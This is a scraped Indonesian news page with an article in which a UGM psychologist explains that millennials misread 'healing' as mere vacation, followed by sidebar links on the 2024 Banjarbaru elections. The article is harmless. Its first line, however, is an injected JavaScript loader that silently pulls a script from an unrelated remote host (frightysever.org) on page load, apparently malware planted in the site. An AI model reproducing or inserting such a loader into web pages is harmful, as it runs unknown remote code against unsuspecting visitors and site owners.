(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Salah Kaprah Konsep Healing Anak Milenial, Begini Penjelasan Psikolog


KANALKALIMANTAN.COM – Psikolog UGM, Galang Lufityanto menyatakan bahwa masih ada pemahaman yang salah kaprah terkait dengan konsep healing yang tengah digandrungi masyarakat sekarang ini khususnya para milenial.

Tidak sedikit masyarakat yang memaknai healing sama dengan sebuah liburan atau staycation saja. Padahal lebih dalam dari itu, healing merupakan proses penyembuhan diri secara psikologis.

“Jadi healing itu proses membuat psikologis kita jadi sehat lagi atau proses menyembuhkan, mengobati diri secara psikologis,” kata Galang, Rabu (13/4/2022).

Lebih lanjut, kata Galang, sebenarnya memang liburan bisa menjadi salah satu pilihan healing tadi. Namun dengan catatan masalah yang dihadapi seseorang itu ada keterkaitannya dengan proses healing itu sendiri.

 

 

Baca juga: Tiga Event Wisata Kalsel Masuk KEN 2022 Kemenparekraf

Misalnya akibat padatnya pekerjaan sehingga minim waktu untuk beristirahat. Kalau memang kondisinya seperti itu, disampaikan Galang, healing dengan liburan atau staycation kemudian cara yang pas untuk mengurai kelelahan kerja atau dikenal juga dengan istilah burn out.

Ia menyarankan sebelum melakukan healing sebaiknya seseorang sudah mencari terlebih dulu akar persoalan yang dihadapi dan menyelesaikannya. Setelah itu bisa melakukan healing sesuai dengan persoalan yang dihadapi tadi.

“Cari dulu problemnya apa baru healing. Misal karena ada masalah dengan rekan kerja atau atasan maka healing dengan liburan atau staycation jadi tidak cocok malah seperti melarikan diri,” terangnya.

Galang menuturkan bahwa kegiatan refreshing tidak serta merta identik dengan liburan begitu saja. Melainkan ada berbagai kegiatan lain yang bisa dilakukan untuk kaitanya dengan refreshing.

Salah satunya dengan kembali menekuni atau mengerjakan hobi yang sebelumnya belum sempat dilakukan. Bisa dengan memasak, menjahit, mendesain dan masih banyak kegiatan lainnya yang bisa dilakukan.

“Dengan melakukan aktivitas ringan yang bisa menghasilkan sesuatu dengan cepat bisa menjadikan kita merasa lebih bahagia karena mampu mencapai tujuan,” tandasnya. (Suara.com)

Editor : kk


Risa

Recent Posts

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

7 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

7 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

7 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

12 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

13 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

13 jam ago

This website uses cookies.